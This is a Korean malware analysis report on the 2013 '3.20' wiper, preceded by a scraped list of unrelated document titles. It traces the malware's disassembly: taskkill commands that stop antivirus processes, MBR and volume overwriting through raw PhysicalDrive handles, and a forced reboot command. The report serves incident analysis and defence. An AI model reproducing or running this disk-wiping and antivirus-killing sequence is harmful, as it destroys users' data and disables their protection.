3.20 테러 악성코드바이너리분석 손충호 (StolenByte) WOWHACKER Group 해당문서는 WOWHACKER Group 의문서이므로, 무단도용및수 정및변조는할수없습니다. 페이지 1 / 20

Similar documents
CKKeyPro 적용가이드

Deok9_Exploit Technique

hlogin2

Microsoft PowerPoint - a10.ppt [호환 모드]

제 9 도는 6제어항목의 세팅목표의 보기가 표시된 레이더 챠트(radar chart). 제 10 도는 제 6 도의 함수블럭(1C)에서 사용되는 각종 개성화 함수의 보기를 표시하는 테이블. 제 11a 도 제 11c 도까지는 각종 조건에 따라 제공되는 개성화함수의 변화의

i n i n i n 1

Microsoft Word - building the win32 shellcode 01.doc

2004math2(c).PDF

02.Create a shellcode that executes "/bin/sh" Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes "/bin/sh" C

2004math2(a).PDF

실사구시학파의 실증적 학풍이 일어나므로 서구적인 과학사상의 유입을 본 것 등이 인식 의 대상이 될 것이다. 그러나 이조 봉건사회 최종의 절대적 왕권주의자 대원군에 의하여 그 싹은 잘리고 말았다. 따라서 다단한 전기가 될 근대적 개방에 의하여 재건하려던 서구적 교육 즉

슬라이드 1

Microsoft PowerPoint - a6.ppt [호환 모드]

INTRO Basic architecture of modern computers Basic and most used assembly instructions on x86 Installing an assembly compiler and RE tools Practice co

Codegate Preliminary Match Repot

No Slide Title

Cogame 취약점 보고

Microsoft PowerPoint - a8a.ppt [호환 모드]

Malware Analysis

=

10-2 삼각형의닮음조건 p270 AD BE C ABC DE ABC 중 2 비상 10, 11 단원도형의닮음 (& 활용 ) - 2 -

[ 악성코드상세분석보고서 ] SK 커뮤니케이션즈해킹관련상세분석보고서 nateon.exe 대응 2 팀

°ø±â¾Ð±â±â

01.ROP(Return Oriented Programming)-x86 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 Gadgets - PO

Microsoft Word - Heap_Spray.doc

(01-16)유형아작중1-2_스피드.ps

Heap Overflow By WraithOfGhost

/* */

HWP Document

(001~007)수능기적(적통)부속

Microsoft Word - AntiCrackingTechnique.doc

Microsoft Word - Static analysis of Shellcode.doc

AD AD 8-0 / A A-2 / A A A-5 / A A T-T / Q

Microsoft Word - Dropper.Agent D.doc

Scanned by CamScanner

GSC Incident Report-바이킹 바이러스 분석

Table of Contents 1. 분석 유포경로 악성파일분석 드롭퍼 A 분석 드롭퍼 B 분석 페이지 2 / 17

1. Execution sequence 첫번째로 GameGuard 의실행순서는다음과같습니다 오전 10:10:03 Type : Create 오전 10:10:03 Parent ID : 0xA 오전 10:10:03 Pro

hwp

A C O N T E N T S A-132

Reusing Dynamic Linker For Exploitation Author : Date : 2012 / 05 / 13 Contact : Facebook : fb.me/kwonpwn

1.기본현황 연 혁 m 본면은 신라시대 ~고려시대 상주목에 속한 장천부곡 지역 m 한말에 이르러 장천면(76개 리동),외동면(18개 리동)으로 관할 m 행정구역 개편으로 상주군 장천면과 외동면이 병합하여 상주군 낙동면 (17개 리,25개

Microsoft Word - MS_rshd_exploit.doc

<4D F736F F D20B9D9C0CCB7B5B9D9C0CCB7AFBDBA5FBCF6C1A42E646F63>

MPLAB C18 C

G5 G25 H5 I5 J5 K5 AVERAGE B5 F5 AVERAGE G5 G24 MAX B5 F5 MIN B5 F5 $G$ $H$25 $G$25 $G$ $H$25 G24 H25 H24 I24 J24 K24 A5 A24 G5 G24, I5

Microsoft Word - MSOffice_WPS_analysis.doc

목차 1. 소개... 3 가. BOF란?... 3 나. 윈도우 BOF 개발환경및사용툴 Shellcode 작성하기... 4 가. cmd 쉘 ) 소스코드작성 ) 디스어셈블리 ) 어셈블리코드편집 간단

13일등예감수학1-1정답(077~120)

1. 개요 악성코드는여러분류로나누어볼수가있다. 이중일반사용자의입장에서 악성코드 라는단어보다친숙한 바이러스 가있다. 사실필자도보안을공부하기이전에는 악성코드 라는단어는아예들어보지못했고, 대신 바이러스 라는단어로모든악성코드를지칭했었다. 바이러스는악성코드분류의한종류로 스스로를

Eureka Mail Client_v2.2.q를이용하여오믈렛에그헌팅에대하여알아볼것이다. 익스플로잇을위해구성된환경은아래와같다. - Windows XP Professional SP3 KOR - Python Ollydbg 1.x, Immunity Debugg

_ _0.xls

ActFax 4.31 Local Privilege Escalation Exploit


1 1,.,

Microsoft PowerPoint - a9.ppt [호환 모드]

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202839C1D6C2F7207E203135C1D6C2F >

Microsoft Word - FunctionCall

歯2019


<BCF6C1A4BBE7C7D72DB5F0C0DAC0CEBAD0B7F9C7A55FB0B3C1A4BEC828C3D6C1BE29345F E687770>

Microsoft Word - FS_ZigBee_Manual_V1.3.docx

" " "! $ ' " " $ % & 2

<C3D1C1A4B8AE B0E6BFECC0C720BCF B9AE2E687770>

PowerPoint 프레젠테이션

Microsoft PowerPoint - 7_배열_문자열

2005년 6월 고1 전국연합학력평가

untitled

<30352D30312D3120BFB5B9AEB0E8BEE0C0C720C0CCC7D82E687770>

歯mp3사용설명서

Microsoft PowerPoint - chap07.ppt

2015 CodeGate 풀이보고서 김성우 1. systemshock strcat(cmd, argv[1]); 에서스택버퍼오버플로우가발생합니다

PowerPoint 프레젠테이션

15강 판소리계 소설 심청전 다음 글을 읽고 물음에 답하시오. [1106월 평가원] 1)심청이 수궁에 머물 적에 옥황상제의 명이니 거행이 오죽 하랴. 2) 사해 용왕이 다 각기 시녀를 보내어 아침저녁으로 문 안하고, 번갈아 당번을 서서 문안하고 호위하며, 금수능라 비

Secure Programming Lecture1 : Introduction

기본서(상)해답Ⅰ(001~016)-OK

Microsoft PowerPoint - windbg쉤무2(맋운톬로ífl—로엸엜Callingê·œìŁ½).pptx

PowerPoint Template

API 매뉴얼

第 1 節 組 織 11 第 1 章 檢 察 의 組 織 人 事 制 度 등 第 1 項 大 檢 察 廳 第 1 節 組 대검찰청은 대법원에 대응하여 수도인 서울에 위치 한다(검찰청법 제2조,제3조,대검찰청의 위치와 각급 검찰청의명칭및위치에관한규정 제2조). 대검찰청에 검찰총장,대

[Immunity Debugger & Python (Part 1)] Written by Osiris ( , msn by beistlab(

PowerPoint 프레젠테이션

AsProtect MUP

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션

Microsoft Word - PE Infection ? How to Inject a dll.doc

?뗡뀶?믟뀱?솽꼶?듄꼮??

Microsoft PowerPoint - a5a.ppt [호환 모드]

PowerPoint 프레젠테이션

[8051] 강의자료.PDF

0x <main+41>: lea eax,[ebp-264] 0x f <main+47>: push eax 0x080484a0 <main+48>: call 0x804835c <strcpy> 0x080484a5 <main+53>: add esp,0x1

Microsoft PowerPoint - hy2-12.pptx

Certlab_ -worm Analysis.hwp

Figure 5.01

목 차 1. 공통공시 총괄 1 2. 살림규모 세입결산 세출결산 중기지방재정계획 7 3. 재정여건 재정자립도 재정자주도 재정력지수 통합재정수지 채무 및 부채 지방채무 현황

슬라이드 1

목 차 1. 개요 취약점분석추진배경 취약점요약 취약점정보 취약점대상시스템목록 분석 공격기법및기본개념 시나리오 공격코드

Microsoft Word - windows server 2003 수동설치_non pro support_.doc


Transcription:

3.20 테러 악성코드바이너리분석 손충호 (StolenByte) stolenbyte@wowhacker.org WOWHACKER Group 2013-03-20 해당문서는 WOWHACKER Group 의문서이므로, 무단도용및수 정및변조는할수없습니다. 페이지 1 / 20

전체적인공격프로세스 페이지 2 / 20

1. 바이너리가사용할 LoadLibrary 하여함수 Load Ntdll.dll Kernel32.dll advapi32.dll Secur32.dll Shlwapi.dll GDI32.dll RPCRT4.dll USER32.dll Msvcrt.dll IMM32.dll USP10.dll LPK.dll [ 그림 1] Load 된 Library 해당 API 주소를얻어오는과정이백신의탐지를벗어나기위해사용되는것으로추정된다. 2. OpenFileMappingA 시도 004011CA. 57 PUSH EDI ; ApcRunCm.00402991 004011CB. 8DBE F8040000 LEA EDI,DWORD PTR DS:[ESI+4F8] 004011D1. 57 PUSH EDI ; ApcRunCm.00402991 004011D2. 33DB XOR EBX,EBX 004011D4. 53 PUSH EBX 004011D5. 6A 04 PUSH 4 004011D7. FF96 34030000 CALL DWORD PTR DS:[ESI+334] ;kernel32.openfilemappinga 0012FE54 00000004 0012FE58 00000000 0012FE5C 00402991 ApcRunCm.00402991 페이지 3 / 20

[ OpenFileMappingA Parameter ] 해당위치에서 OpenFileMappingA 하는행위는다음과같다. OpenFileMappingA(FILE_MAP_READ, 0, JO840112-CRAS8468-11150923-PCI8273V ); 해당공격을당한이후에는해당바이너리가다시는실행되는일이없는데, OpenFileMappingA 로 Open 이된다면공격이되지않는시스템으로간주하여, 바로종료하게된다. 3. OpenFileMappingA 시도실패했을경우, CreateFileMappingA [ 그림 2] OpenFileMappingA Return Value [ 그림 3] EAX == Return Value 현시스템에서는처음실행상태이기때문에, Open 에실패할수밖에없는상황이다. 바이너리에서는 Open 을실패하게되면 CreateFileMappingA 로생성을시도한다. 004011E5. 57 PUSH EDI 004011E6. 6A 10 PUSH 10 004011E8. 53 PUSH EBX 004011E9. 6A 04 PUSH 4 004011EB. 53 PUSH EBX 004011EC. 6A FF PUSH -1 004011EE. FF96 38030000 CALL DWORD PTR DS:[ESI+338] ; kernel32.createfilemappinga 0012FE48 FFFFFFFF 0012FE4C 00000000 0012FE50 00000004 페이지 4 / 20

0012FE54 00000000 0012FE58 00000010 0012FE5C 00402991 ApcRunCm.00402991 [ CreateFileMappingA Parameter ] 해당위치에서 CreateFileMappingA하는행위는다음과같다. CreateFileMappingA(-1, NULL, PAGE_READWRITE, 0, 10, JO840112-CRAS8468-11150923-PCI8273V ); 4. GetWindowsDirectoryA 를통해시스템폴더경로가져오기 004011F4. 68 03010000 PUSH 103 004011F9. 8D85 F4FEFFFF LEA EAX,[LOCAL.67] 004011FF. 50 PUSH EAX 00401200. FF96 3C030000 CALL DWORD PTR DS:[ESI+33C] ; kernel32.getwindowsdirectorya 0012FE58 0012FE6C 0012FE5C 00000103 [ GetWindowsDirectoryA Parameter ] 0012FE6C 43 3A 5C 57 49 4E 44 4F 57 53 C:\WINDOWS [ GetWindowsDirectory 결과값 ] 5. strcat 을통해파일경로완성 00401206. 8D86 2E050000 LEA EAX,DWORD PTR DS:[ESI+52E] 0040120C. 50 PUSH EAX 0040120D. 8D85 F4FEFFFF LEA EAX,[LOCAL.67] 00401213. 50 PUSH EAX 00401214. FF96 A8030000 CALL DWORD PTR DS:[ESI+3A8] ; msvcrt.strcat 0012FE58 0012FE5C 0012FE6C ASCII "C:\\WINDOWS" 004029C7 ASCII "\\Temp\\~v3.log" [ strcat Parameter ] 페이지 5 / 20

0012FE6C 43 3A 5C 57 49 4E 44 4F 57 53 5C 54 65 6D 70 5C C:\WINDOWS\Temp\ 0012FE7C 7E 76 33 2E 6C 6F 67 ~v3.log [ 완성된경로 ] 6. PathFileExistsA 를통해 strcat 으로완성한경로, 존재여부확인 0040121C. 8D85 F4FEFFFF LEA EAX,[LOCAL.67] 00401222. 50 PUSH EAX 00401223. FF96 CC030000 CALL DWORD PTR DS:[ESI+3CC] ; shlwapi.pathfileexistsa 0012FE5C 0012FE6C ASCII "C:\\WINDOWS\\Temp\\~v3.log" [ PathFileExistsA Parameter ] [ 그림 4] PathFileExistsA Return Value [ 그림 5] EAX == Return Value == FALSE 현재시스템은바이너리를처음실행시킨상태라파일이존재하지않는다. 7. 파일이존재하지않을경우, 명령실행 004021BA. 8D86 B3050000 LEA EAX,DWORD PTR DS:[ESI+5B3] Address=00402A4C, (ASCII "taskkill /F /IM pasvc.exe") [ Execute Command ] 004021B8. 6A 00 PUSH 0 004021BA. 8D86 B3050000 LEA EAX,DWORD PTR DS:[ESI+5B3] 004021C0. 8DBE 94030000 LEA EDI,DWORD PTR DS:[ESI+394] 004021C6. 50 PUSH EAX ; ApcRunCm.00402A4C 페이지 6 / 20

004021C7. FF17 CALL DWORD PTR DS:[EDI] ; kernel32.winexec 0012FE48 00402A4C ASCII "taskkill /F /IM pasvc.exe" 0012FE4C 00000000 [ WinExec1 Parameter ] 해당위치에서 WinExec하는행위는다음과같다. WinExec("taskkill /F /IM pasvc.exe, SW_HIDE); 004021C9. 6A 00 PUSH 0 004021CB. 81C6 CD050000 ADD ESI,5CD 004021D1. 56 PUSH ESI ; ApcRunCm.00402A66 004021D2. FF17 CALL DWORD PTR DS:[EDI] ; kernel32.winexec 0012FE48 00402A66 ASCII "taskkill /F /IM clisvc.exe" 0012FE4C 00000000 [ WinExec2 Parameter ] 해당위치에서 WinExec하는행위는다음과같다. WinExec ("taskkill /F /IM clisvc.exe", SW_HIDE); 8. 파일이존재하지않을경우, CreateThread 로 Thread 생성 0040125C. 8D45 08 LEA EAX,[ARG.1] 0040125F. 50 PUSH EAX 00401260. 53 PUSH EBX 00401261. 56 PUSH ESI ; ApcRunCm.00402499 00401262. 74 08 JE SHORT ApcRunCm.0040126C 00401264. FFB6 60020000 PUSH DWORD PTR DS:[ESI+260] ; ApcRunCm.004012E6 0040126A. EB 06 JMP SHORT ApcRunCm.00401272 0040126C > FFB6 80020000 PUSH DWORD PTR DS:[ESI+280] ; ApcRunCm.00401AB9 00401272 > 53 PUSH EBX 00401273. 53 PUSH EBX 00401274. FF96 44030000 CALL DWORD PTR DS:[ESI+344] ; kernel32.createthread 페이지 7 / 20

0012FE48 00000000 0012FE4C 00000000 0012FE50 00401AB9 ApcRunCm.00401AB9 0012FE54 00402499 ApcRunCm.00402499 0012FE58 00000000 0012FE5C 0012FF80 [ CreateThread Parameter ] 해당위치에서 CreateThread가하는행위는다음과같다. CreateThread(NULL, 0, 0x401AB9( 함수주소 ), 0x402499(Parameter 주소 ), 0, 0x12FF80(0)); 0040127E. 6A FF PUSH -1 00401280. 50 PUSH EAX 00401281. FF96 48030000 CALL DWORD PTR DS:[ESI+348] ; kernel32.waitforsingleobject Thread가끝날때까지, 대기 9. [Thread 1] PhysicalDrive CreateFile 로 Open 0040127E. 6A FF PUSH -1 00401280. 50 PUSH EAX 00401281. FF96 48030000 CALL DWORD PTR DS:[ESI+348] ; kernel32.waitforsingleobject 009EFCE0 009EFD08 ASCII "\\\\.\\PhysicalDrive0" 009EFCE4 C0000000 009EFCE8 00000003 009EFCEC 00000000 009EFCF0 00000003 009EFCF4 00000000 009EFCF8 00000000 [ CreateFile Parameter ] 해당위치에서 CreateFile가하는행위는다음과같다. CreateFile( \\\\.\\PhysicalDrive0, GENERIC_READ GENERIC_WRITE (0xC0000000), FILE_SHARE_READ FILE_SHARE_WRITE (3), NULL, OPEN_EXISTING, 0, NULL); PhysicalDrive0 을 Open 을하게되면 MBR 로직접접근이가능하다. 페이지 8 / 20

10. [Thread 1] SetFilePointer 이용하여, PhysicalDrive0 위치설정후 ReadFile로복사 00401ED2. 6A 00 PUSH 0 00401ED4. 8945 0C MOV [ARG.2],EAX 00401ED7. 8D45 0C LEA EAX,[ARG.2] 00401EDA. 50 PUSH EAX 00401EDB. C1E6 09 SHL ESI,9 00401EDE. 56 PUSH ESI 00401EDF. FF77 40 PUSH DWORD PTR DS:[EDI+40] 00401EE2. FF97 80030000 CALL DWORD PTR DS:[EDI+380] ; kernel32.setfilepointer 009EFAB4 00000044 009EFAB8 00000000 009EFABC 009EFADC 009EFAC0 00000000 [ SetFilePointer Parameter ] 해당위치에서 SetFilePointer 가하는행위는다음과같다. SetFilePointer(CreateFile Handle( \\\\.\\PhysicalDrive0 ), 0, NULL, FILE_BEGIN); 00401EF0 > \6A 00 PUSH 0 00401EF2. 8D45 FC LEA EAX,[LOCAL.1] 00401EF5. 50 PUSH EAX 00401EF6. 68 00020000 PUSH 200 00401EFB. FF75 10 PUSH [ARG.3] 00401EFE. FF77 40 PUSH DWORD PTR DS:[EDI+40] 00401F01. FF97 90030000 CALL DWORD PTR DS:[EDI+390] ; kernel32.readfile 009EFAB0 00000044 009EFAB4 009EFAF0 009EFAB8 00000200 009EFABC 009EFACC 009EFAC0 00000000 [ ReadFile Parameter ] 해당위치에서 ReadFile 가하는행위는다음과같다. 페이지 9 / 20

ReadFile(CreateFile Handle( \\\\.\\PhysicalDrive0 ), 0x009EFAF0, 0x200, &NumberOfBytesRead, NULL); ReadFile 을하는이유는 MBR 를백업을하는의미라고생각한다. 11. Loop 를통해 PRINCPES * 60 번복사 ( 총 480 Byte 복사 ) 0040204E > /8D45 F4 /LEA EAX,[LOCAL.3] 00402051. 50 PUSH EAX 00402052. FF96 B8030000 CALL DWORD PTR DS:[ESI+3B8] ; msvcrt.strlen ; strlen으로 PRINCPES의길이를구하여 memcpy의 Parameter로사용 00402058. 50 PUSH EAX 00402059. 8D45 F4 LEA EAX,[LOCAL.3] 0040205C. 50 PUSH EAX 0040205D. 8D843D F4FDFFFF LEA EAX,DWORD PTR SS:[EBP+EDI-> 00402064. 50 PUSH EAX 00402065. FF96 B4030000 CALL DWORD PTR DS:[ESI+3B4] ; msvcrt.memcpy 009EFAB0 009EFACC 009EFAB4 009EFCCC ASCII "PRINCPES" 009EFAB8 00000008 [ memcpy Parameter ] 해당위치에서 memcpy가하는행위는다음과같다. memcpy(0x9efacc, PRINCPES, 8); 12. [Thread 1] WriteFile 로 Segment, MBR 를 10 번반복덮는다. 004020AC. 6A 00 PUSH 0 004020AE. 8945 0C MOV [ARG.2],EAX 004020B1. 8D45 0C LEA EAX,[ARG.2] 004020B4. 50 PUSH EAX 004020B5. C1E6 09 SHL ESI,9 004020B8. 56 PUSH ESI 004020B9. FF77 40 PUSH DWORD PTR DS:[EDI+40] 004020BC. FF97 80030000 CALL DWORD PTR DS:[EDI+380] ; kernel32.setfilepointer 페이지 10 / 20

009EFA90 00000044 009EFA94 00007000 009EFA98 009EFAB8 009EFA9C 00000000 [ SetFilePointer Parameter ] 해당위치에서 SetFilePointer 가하는행위는다음과같다. SetFilePointer(CreateFile Handle( \\\\.\\PhysicalDrive0 ), 0x7000, NULL, FILE_BEGIN); 0x7000 는세그먼트 Buffer 주소 004020CA > \6A 00 PUSH 0 004020CC. 8D45 FC LEA EAX,[LOCAL.1] 004020CF. 50 PUSH EAX 004020D0. 68 00020000 PUSH 200 004020D5. FF75 10 PUSH [ARG.3] 004020D8. FF77 40 PUSH DWORD PTR DS:[EDI+40] 004020DB. FF97 74030000 CALL DWORD PTR DS:[EDI+374] ; kernel32.writefile 009EFA8C 00000044 009EFA90 009EFACC ASCII "PRINCPESPRINCPESPRINCPESPRINCPESPRINCPESPRINCPESPRINCPESPRINCPESPRINCPESPRIN> 009EFA94 00000200 009EFA98 009EFAA8 009EFA9C 00000000 [ WriteFile Parameter ] 해당위치에서 WriteFile가하는행위는다음과같다. WriteFile(CreateFile Handle( \\\\.\\PhysicalDrive0 ), 480Byte만큼생성한 Buffer 위치, 0x200(512), &NumberOfBytesWritten, NULL); 생성은 480Byte 만큼했는데, 512Byte 만큼덮는이유는모르겠다. 이러한비슷한과정을한번더하는데, 이번엔 Segment Buffer 주소를덮는게아닌, MBR을직접덮는다. 페이지 11 / 20

004020AC. 6A 00 PUSH 0 004020AE. 8945 0C MOV [ARG.2],EAX 004020B1. 8D45 0C LEA EAX,[ARG.2] 004020B4. 50 PUSH EAX 004020B5. C1E6 09 SHL ESI,9 004020B8. 56 PUSH ESI 004020B9. FF77 40 PUSH DWORD PTR DS:[EDI+40] 004020BC. FF97 80030000 CALL DWORD PTR DS:[EDI+380] ; kernel32.setfilepointer 009EFA90 00000044 009EFA94 00000000 009EFA98 009EFAB8 009EFA9C 00000000 [ SetFilePointer Parameter ] 해당위치에서 SetFilePointer 가하는행위는다음과같다. SetFilePointer(CreateFile Handle( \\\\.\\PhysicalDrive0 ), 0, NULL, FILE_BEGIN); PhysicalDrive0 의 0 번째주소는 MBR 이존재한다. Write 는위와동일하게진행한다. 00401DFC. 837D FC 0A CMP [LOCAL.1],0A 00401E00.^ 7C 8A \JL SHORT ApcRunCm.00401D8C 이해당과정을 10번진행한다. 13. [Thread 1] B:\\ 부터 Drive Type 가져오기 00401DFC. 837D FC 0A CMP [LOCAL.1],0A 00401E00.^ 7C 8A \JL SHORT ApcRunCm.00401D8C 009EFE04 009EFE08 009EFFAC 004029D5 ASCII "B:\\" [ strcpy Parameter ] 00401B2B. 50 PUSH EAX 00401B2C. FF96 58030000 CALL DWORD PTR DS:[ESI+358] ; kernel32.getdrivetypea 페이지 12 / 20

009EFE18 009EFFAC 009EFFAC 42 3A 5C 00 [ GetDriveTypeA Parameter ] B:\. [ 그림 6] GetDriverType Parameter [ 그림 7] GetDriveType Return Value 00401B32. 83F8 03 CMP EAX,3 00401B35. 74 05 JE SHORT ApcRunCm.00401B3C 00401B37. 83F8 02 CMP EAX,2 00401B3A. 75 2C JNZ SHORT ApcRunCm.00401B68 GetDriveType Return에의한분기 HDD 또는 Flash 메모리가아니면 C,D,E,F를전부탐지한다. 페이지 13 / 20

char drive[] = B:\\ ; drive[0]++ == C,D,E,F~~ 14. [Thread 1] 분기가맞으면, CreateThread 로 Thread 생성 00401B45. 50 PUSH EAX 00401B46. 53 PUSH EBX 00401B47. 56 PUSH ESI ; ApcRunCm.00402499 00401B48. FFB6 84020000 PUSH DWORD PTR DS:[ESI+284] ; ApcRunCm.00401B93 00401B4E. 895D F0 MOV DWORD PTR SS:[EBP-10],EBX 00401B51. 53 PUSH EBX 00401B52. 53 PUSH EBX 00401B53. FF96 44030000 CALL DWORD PTR DS:[ESI+344] ; kernel32.createthread 009EFE04 00000000 009EFE08 00000000 009EFE0C 00401B93 ApcRunCm.00401B93 009EFE10 00402499 ApcRunCm.00402499 009EFE14 00000000 009EFE18 009EFFA4 [ CreateThread Parameter ] 해당위치에서 CreateThread가하는행위는다음과같다. CreateThread(NULL, 0, 0x401B93( 함수주소 ), 0x402499(Parameter 주소 ), 0, 0x9EFFA4(0)); 15. [Thread 2] HDD, Flash 메모리에대한 GetDiskFreeSpaceA 00401BDB. 8D45 E8 LEA EAX,[LOCAL.6] 00401BDE. 50 PUSH EAX 00401BDF. 8D45 E4 LEA EAX,[LOCAL.7] 00401BE2. 50 PUSH EAX 00401BE3. 8D45 08 LEA EAX,[ARG.1] 00401BE6. 50 PUSH EAX 00401BE7. 8D45 E0 LEA EAX,[LOCAL.8] 00401BEA. 50 PUSH EAX 00401BEB. 8D45 A0 LEA EAX,[LOCAL.24] 페이지 14 / 20

00401BEE. 50 PUSH EAX 00401BEF. FF96 88030000 CALL DWORD PTR DS:[ESI+388] ; kernel32.getdiskfreespacea 00AEFF34 00AEFF38 00AEFF3C 00AEFF40 00AEFF44 00AEFF54 00AEFF94 00AEFFBC 00AEFF98 00AEFF9C [ GetDiskFreeSpaceA Parameter ] 해당위치에서 GetDiskFreeSpaceA 가하는행위는다음과같다. GetDiskFreeSpaceA( C:\\, &dwsectperclust, &dwbytespersect, &dwfreeclusters, &dwtotalclusters); 이후 GetDiskFreeSpaceA 를하게되는데, 공격자의실수가있는것같다. 00401C05. 3BC7 CMP EAX,EDI ; EDI = 0x00000000 ; EAX = 0x00000001 ; GetDiskFreeSpaceA를성공하였기때문에 EAX에 0가아닌다른값이왔는데, ; GetDiskFreeSpaceExA를다시시도한다. 00401C07. 0F84 5B010000 JE ApcRunCm.00401D68 00401C0D. 8D45 C4 00401C10. 50 00401C11. 8D45 BC 00401C14. 50 00401C15. 57 00401C16. 8D45 A0 00401C19. 50 00401C1A. 897D C0 00401C1D. 897D BC 00401C20. 897D C8 00401C23. 897D C4 00401C26. FF96 8C030000 LEA EAX,[LOCAL.15] PUSH EAX LEA EAX,[LOCAL.17] PUSH EAX PUSH EDI LEA EAX,[LOCAL.24] PUSH EAX MOV [LOCAL.16],EDI MOV [LOCAL.17],EDI MOV [LOCAL.14],EDI MOV [LOCAL.15],EDI CALL DWORD PTR DS:[ESI+38C] ; kernel32.getdiskfreespaceexa 00AEFF38 00AEFF54 페이지 15 / 20

00AEFF3C 00000000 00AEFF40 00AEFF70 00AEFF44 00AEFF78 00AEFF54 43 3A 5C C:\ [ GetDiskFreeSpaceExA Parameter ] 해당위치에서 GetDiskFreeSpaceExA 가하는행위는다음과같다. GetDiskFreeSpaceExA("C:\\", 0, &TotalNumberOfBytes, &TotalNumberOfFreeBytes); 16. [Thread 2] HDD, Flash 메모리 CreateFile Open 00401C59. 57 PUSH EDI 00401C5A. 68 00000030 PUSH 30000000 00401C5F. 6A 03 PUSH 3 00401C61. 57 PUSH EDI 00401C62. 6A 03 PUSH 3 00401C64. 68 000000C0 PUSH C0000000 00401C69. 8D45 A0 LEA EAX,[LOCAL.24] 00401C6C. 50 PUSH EAX 00401C6D. FF96 70030000 CALL DWORD PTR DS:[ESI+370] ; kernel32.createfilea 00AEFF2C 00AEFF54 ASCII "\\\\.\\C:" 00AEFF30 C0000000 00AEFF34 00000003 00AEFF38 00000000 00AEFF3C 00000003 00AEFF40 30000000 00AEFF44 00000000 [ CreateFileA Parameter ] 해당위치에서 CreateFile가하는행위는다음과같다. CreateFile(\\\\.\\C:, GENERIC_READ GENERIC_WRITE (0xC0000000), FILE_SHARE_READ FILE_SHARE_WRITE (3), NULL, OPEN_EXISTING, FILE_FLAG_NO_BUFFERING FILE_FLAG_RANDOM_ACCESS, NULL); 모든드라이브를다돌때까지 Loop를돌면서 HDD, Flash 메모리같은드라이브같은드라이브가발견되면 Thread를생성한다. 페이지 16 / 20

17. [Thread 2] 512 Byte 만큼 String 생성 00401CC2 > /C740 FF 505249>/MOV DWORD PTR DS:[EAX-1],4E495250 00401CC9. C740 03 434950> MOV DWORD PTR DS:[EAX+3],45504943 00401CD0. C640 07 53 MOV BYTE PTR DS:[EAX+7],53 00401CD4. 83C0 0A ADD EAX,0A 00401CD7. 8D1401 LEA EDX,DWORD PTR DS:[ECX+EAX] 00401CDA. 3B55 08 CMP EDX,[ARG.1] 00401CDD.^\72 E3 \JB SHORT ApcRunCm.00401CC2 [ Create String ] [ 그림 8] 생성된 String 18. [Thread 2] SetFilePointer 로 Pointer 지정 00401CC2 > /C740 FF 505249>/MOV DWORD PTR DS:[EAX-1],4E495250 00401CC9. C740 03 434950> MOV DWORD PTR DS:[EAX+3],45504943 00401CD0. C640 07 53 MOV BYTE PTR DS:[EAX+7],53 00401CD4. 83C0 0A ADD EAX,0A 00401CD7. 8D1401 LEA EDX,DWORD PTR DS:[ECX+EAX] 00401CDA. 3B55 08 CMP EDX,[ARG.1] 00401CDD.^\72 E3 \JB SHORT ApcRunCm.00401CC2 00AEFF38 00000054 00AEFF3C 00000000 00AEFF40 00AEFF6C 00AEFF44 00000000 [ SetFilePointer Parameter ] 페이지 17 / 20

해당위치에서 SetFilePointer 가하는행위는다음과같다. SetFilePointer(CreateFile Handle( \\\\.\\C: ), 0, NULL, FILE_BEGIN); 19. [Thread 2] WriteFile 로생성한 String, 200 번 Write 00401D1D > /57 /PUSH EDI 00401D1E. 8D45 D0 LEA EAX,[LOCAL.12] 00401D21. 50 PUSH EAX 00401D22. FF75 08 PUSH [ARG.1] 00401D25. 897D D0 MOV [LOCAL.12],EDI 00401D28. FF75 F0 PUSH [LOCAL.4] 00401D2B. FF75 EC PUSH [LOCAL.5] 00401D2E. FF96 74030000 CALL DWORD PTR DS:[ESI+374] ; kernel32.writefile 00AEFF34 00000054 00AEFF38 00393970 ASCII "PRINCIPES" 00AEFF3C 00000200 00AEFF40 00AEFF84 00AEFF44 00000000 [ WriteFile Parameter ] 해당위치에서 WriteFile가하는행위는다음과같다. WriteFile(CreateFile Handle( \\\\.\\C: ), 512Byte만큼생성한 Buffer 위치, 0x200(512), &NumberOfBytesWritten, NULL); 00401D34. FF4D DC DEC [LOCAL.9] 00401D37.^\75 E4 \JNZ SHORT ApcRunCm.00401D1D Stack SS:[00AEFF90]=000000C8 [ Loop Count ] 20. [Thread 2] Loop 953 번돌면서해당 HDD, Flash 메모리 Write Stack SS:[00AEFFA8]=003EB9ED [ Total Loop Count ] 1 회 Loop 당 4310 (0x10D6) Count 가된다. 페이지 18 / 20

0x003EB9ED / 0x10D6 == 953~4 정도가 Loop 를반복하게되면서 512 (0x200) Byte 만큼덮게된 다. 21. [Thread 1] 재부팅으로최종마무리 00401B76 > \68 E0930400 PUSH 493E0 00401B7B. FF96 54030000 CALL DWORD PTR DS:[ESI+354] ; kernel32.sleep 009EFE14 000493E0 [ Sleep Parameter ] 약 300(300000(0x493E0)ms) 초간대기한다. 0040212A. 33FF XOR EDI,EDI 0040212C. 57 PUSH EDI 0040212D. 8D86 8E050000 LEA EAX,DWORD PTR DS:[ESI+58E> 00402133. 50 PUSH EAX ; ApcRunCm.00402A27 00402134. FF96 94030000 CALL DWORD PTR DS:[ESI+394] ; kernel32.winexec 009EFDF0 00402A27 ASCII "shutdown -r -t 0" 009EFDF4 00000000 [ WinExec Parameter ] 컴퓨터종료명령어를실행한다. 그러나, Windows Vista 이후버전에서는권한문제등으로종료 가안될수있다. 0040213A. 68 10270000 PUSH 2710 0040213F. FF96 54030000 CALL DWORD PTR DS:[ESI+354] ; kernel32.sleep 009EFDF0 00002710 [ Sleep Parameter ] 약 10 초정도대기후, SYSTEM 권한얻기작업을통해 Windows 종료를시도한다. GetCurrentProcess OpenProcessToken 페이지 19 / 20

